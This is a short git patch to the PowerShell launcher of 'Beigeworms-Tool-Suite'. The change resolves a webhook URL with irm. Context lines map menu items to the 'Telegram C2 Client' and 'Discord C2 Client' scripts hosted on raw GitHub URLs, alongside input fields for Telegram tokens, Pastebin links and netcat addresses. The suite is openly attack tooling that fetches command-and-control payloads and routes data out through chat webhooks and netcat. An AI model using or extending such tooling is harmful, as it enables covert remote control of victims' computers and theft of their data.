From 9c40348978413d9dacc37eeda0321044c9aaf9ea Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 21:38:38 +0000 Subject: [PATCH] Update main.ps1 --- Beigeworms-Tool-Suite/main.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Beigeworms-Tool-Suite/main.ps1 b/Beigeworms-Tool-Suite/main.ps1 index 8287e99..d1c0719 100644 --- a/Beigeworms-Tool-Suite/main.ps1 +++ b/Beigeworms-Tool-Suite/main.ps1 @@ -212,7 +212,8 @@ $startButton.Add_Click({ $ghurl = $PastebinInput.Text $tg = $TGTokenInput.Text $NCurl = $netcatInput.Text - + if ($hookurl.Ln -ne 121){$hookurl = (irm $hookurl).url} + switch ($selectedItem) { "Telegram C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"} "Discord C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}